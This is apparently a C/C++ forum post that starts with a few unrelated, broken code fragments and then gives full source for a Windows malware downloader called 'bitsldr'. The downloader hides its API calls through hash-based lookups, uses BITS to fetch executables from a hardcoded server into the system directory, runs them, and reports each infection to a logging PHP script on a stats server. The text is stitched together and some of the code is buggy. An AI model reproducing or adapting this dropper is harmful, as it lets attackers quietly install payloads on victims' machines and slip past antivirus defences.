C / C++ / MFC

Sternocera wrote:

ms_asmv2:requestedExecutionLevel level="highestAvailable"

oss1.precision(/*number of digits to show*/);//This will increase the number of digits to show.

deleteTree (qnode *root){  int i;  if (root == NULL)    return root;		// Sub-tree is empty
  /* Delete tree */
  if (root->children[i] != NULL)

#ifndef WINVER                          // Specifies that the minimum required platform is Windows Vista.
#define WINVER 0x0600           // Change this to the appropriate value to target other versions of Windows.
#endif

#ifndef _WIN32_WINNT            // Specifies that the minimum required platform is Windows Vista.
#define _WIN32_WINNT 0x0600     // Change this to the appropriate value to target other versions of Windows.
#endif

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <wininet.h>
#include <comdef.h>
#include <bits.h>

#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(lib,"wininet.lib")
//-----------------------------------------
// files to download
wchar_t *filelist[] =
{
  L"http://192.168.0.1/1.exe",
  L"http://192.168.0.1/2.exe"
};

// number of files to download
#define FNUM  2
//-----------------------------------------
// comment it, if you dont need reporting to stat
#define SREPORT

// stat-server addr
#define SADDR  "192.168.0.1"
// path to script, for statistic collecting
#define SPATH  "stat.php"
// this script may looks like there:
/*
  <?php

    $log = "downloads.log";

    $url = @$_POST['ok'];
    if (empty($url)) exit;

    $f = fopen($log, 'a+');
    if (!$f) exit;

    fwrite($f, date("d.m.y-H:i:s", time())."\t{$_SERVER['REMOTE_ADDR']}\t$url OK\r\n");
   
    fclose($f);

  ?>
*/
//----------------------------------------------------------------------------------------------
LPVOID GetProcAddressEx(DWORD dwModule, DWORD dwProcNameHash);
// templates for APIs calling
template <DWORD h, DWORD hash>
inline LPVOID pushargEx()
{ 
  typedef LPVOID (WINAPI *newfunc)();
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func();
}

template <DWORD h, DWORD hash, class A>
inline LPVOID pushargEx(A a1)
{ 
  typedef LPVOID (WINAPI *newfunc)(A);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1);
}

template <DWORD h, DWORD hash, class A, class B>
inline LPVOID pushargEx(A a1, B a2)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1,a2);
}

template <DWORD h, DWORD hash, class A, class B, class C>
inline LPVOID pushargEx(A a1, B a2, C a3)
{
  typedef LPVOID (WINAPI *newfunc)(A, B, C);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1,a2,a3);
}

template <DWORD h, DWORD hash, class A, class B, class C, class D>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1,a2,a3,a4);
}

template <DWORD h, DWORD hash, class A, class B, class C, class D, class E>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1, a2, a3, a4, a5);
}

template <DWORD h, DWORD hash, class A, class B, class C, class D, class E, class F, class G, class H>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1, a2, a3, a4, a5, a6, a7, a8);
}

template <DWORD h, DWORD hash, class A, class B, class C, class D, class E, class F, class G, class H, class I>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1, a2, a3, a4, a5, a6, a7, a8, a9);
}

template <DWORD h, DWORD hash, class A, class B, class C, class D, class E, class F, class G, class H, class I, class X>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10)
{ 
  typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I, X);
  newfunc func = (newfunc)GetProcAddressEx(h, hash);
  return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
}
//----------------------------------------------------------------------------------------------
// needed APIs
// kernel32.dll
#define GCreateProcessW      pushargEx<1, 0x46318AD1>
#define GExitProcess      pushargEx<1, 0x95902B19>
#define GGetSystemDirectoryW  pushargEx<1, 0x49A1375C>
#define GGetModuleHandleA    pushargEx<1, 0xA48D6762>
#define GGetTempFileNameW    pushargEx<1, 0x0FA4F514>
#define GLoadLibraryA      pushargEx<1, 0xC8AC8026>
#define GSleep          pushargEx<1, 0x3D9972F5>
// wininet.dll
#define GHttpOpenRequestA    pushargEx<2, 0x1510002F>
#define GHttpSendRequestW    pushargEx<2, 0x9F13857C>
#define GInternetCloseHandle  pushargEx<2, 0x7314FB0C>
#define GInternetConnectA    pushargEx<2, 0xBE618D3E>
#define GInternetOpenA      pushargEx<2, 0x08593DD7>
// ole32.dll
#define GCoCreateInstance    pushargEx<3, 0x368435BE>
#define GCoInitializeEx      pushargEx<3, 0x7573DE28>
#define GCoInitializeSecurity  pushargEx<3, 0x910EACB3>
#define GCoUninitialize      pushargEx<3, 0xEDB3159D>
//----------------------------------------------------------------------------------------------
inline HMODULE GetKernel32(void)
{
  __asm
  {
    mov    eax,dword ptr fs:[30h]
    mov    eax,dword ptr [eax+0ch]
    mov    esi,dword ptr [eax+1ch]
    lodsd
    mov    eax,dword ptr [eax+08h]
  }
}
//----------------------------------------------------------------------------------------------
inline DWORD CalcHash(char *str)
{
  DWORD hash = 0;
  char* copystr = str;
  while(*copystr)
  {
    hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7));
    hash = hash^(*copystr);
    copystr++;
  }
  return hash;
}
//----------------------------------------------------------------------------------------------
#define RVATOVA( base, offset ) ( (DWORD)base + (DWORD)offset )
// return addr of API function by hash of it's name
LPVOID GetProcAddressEx(DWORD dwModule, DWORD dwProcNameHash)
{
  HMODULE hModule;

  switch (dwModule)
  {
    case 1:
    hModule = GetKernel32();
    break;

    case 2:
    hModule = (HMODULE)GLoadLibraryA("wininet.dll");
    break;

    case 3:
    hModule = (HMODULE)GLoadLibraryA("ole32.dll");
    break;

    default:
    return 0;
  }

  PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)
    ((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew +
      sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

  PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule,
    poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 
 
  int nOrdinal;
  if (HIWORD((DWORD)dwProcNameHash) == 0)
  {
    nOrdinal = (LOWORD((DWORD)dwProcNameHash)) - ped->Base;
  } else {
    DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames);
    WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals);

    for (unsigned int i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++)
    {
      if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == dwProcNameHash)
      {
        nOrdinal = *pwOrdinalPtr;
        break;
      }
    }

    if (i == ped->NumberOfNames)
      return 0;
  }

  PDWORD pAddrTable = (PDWORD)RVATOVA(hModule, ped->AddressOfFunctions);
  DWORD dwRVA = pAddrTable[nOrdinal];
  DWORD ret = (DWORD)RVATOVA(hModule, dwRVA);

  return (LPVOID)ret;
}
//----------------------------------------------------------------------------------------------
#ifdef SREPORT
void ReportToStat(wchar_t *data)
{
  HINTERNET hSession = GInternetOpenA("bitsldr", LOCAL_INTERNET_ACCESS, NULL,
    INTERNET_INVALID_PORT_NUMBER, INTERNET_FLAG_DONT_CACHE);

  HINTERNET hConnect = GInternetConnectA(hSession, SADDR, INTERNET_DEFAULT_HTTP_PORT,
    NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
  if (hConnect == NULL)
    goto end;

  HINTERNET hRequest = GHttpOpenRequestA(hConnect, "POST", SPATH, NULL, NULL, NULL, NULL, NULL);
  if (hRequest == NULL)
    goto end;

  wchar_t post_data[255];
  wcscpy(post_data, L"ok=");
  wcscat(post_data, data);
   
  wchar_t *headers = L"Content-Type: application/x-www-form-urlencoded"; 
   
  GHttpSendRequestW(hRequest, headers, wcslen(headers), post_data, wcslen(post_data));
end:
  GInternetCloseHandle(hRequest);
  GInternetCloseHandle(hConnect);
  GInternetCloseHandle(hSession);
}
#endif
//----------------------------------------------------------------------------------------------
int APIENTRY WinMain(HINSTANCE hInstance,
          HINSTANCE hPrevInstance,
          LPTSTR  lpCmdLine,
          int   nCmdShow)
{
  IBackgroundCopyManager *pManager = NULL;
  GUID JobId;
  IBackgroundCopyJob* pJob = NULL;
  BG_JOB_STATE pJobState;
  wchar_t tmp_path[MAX_PATH];
  wchar_t sys_dir[MAX_PATH];

  GGetSystemDirectoryW(sys_dir, MAX_PATH);

  HRESULT hr = (HRESULT)GCoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
 
  hr = (HRESULT)GCoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_CONNECT,
    RPC_C_IMP_LEVEL_DELEGATE, NULL, EOAC_NONE, 0);

  hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, CLSCTX_ALL,
    __uuidof(IBackgroundCopyManager), (void **)&pManager);

  if (pManager)
  {
    for (int i = 0; i < FNUM; i++)
    {
      // create new job
      hr = pManager->CreateJob(L"bitsldr", BG_JOB_TYPE_DOWNLOAD, &JobId, &pJob);
      if (SUCCEEDED(hr))
      {
        GGetTempFileNameW(sys_dir, L"LDR", 0, tmp_path);
        // add file to job
        hr = pJob->AddFile(filelist, tmp_path);
        if (SUCCEEDED(hr))
        {   
          // start transfer
          hr = pJob->Resume();
          if (SUCCEEDED(hr))
          {
            while (true)
            {
              // wait until job incomplete
              hr = pJob->GetState(&pJobState);
             
              if (SUCCEEDED(hr) &&
                (pJobState == BG_JOB_STATE_CONNECTING ||
                pJobState == BG_JOB_STATE_TRANSFERRING))
              {
                GSleep(10);
              } else {
                break;
              }
            }
          }
        }

        pJob->Complete();
        pJob->Release();

        STARTUPINFOW si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        // try to create process
        if (GCreateProcessW(NULL, tmp_path, NULL, NULL, FALSE, 0,
          NULL, NULL, &si, &pi))
        {
#ifdef SREPORT
          // send report to stat
          ReportToStat(filelist);
#endif
        }
      }
    }

    pManager->Release();
  }

  GCoUninitialize();

  GExitProcess(0);

  return 0;
}
//----------------------------------------------------------------------------------------------
// EoF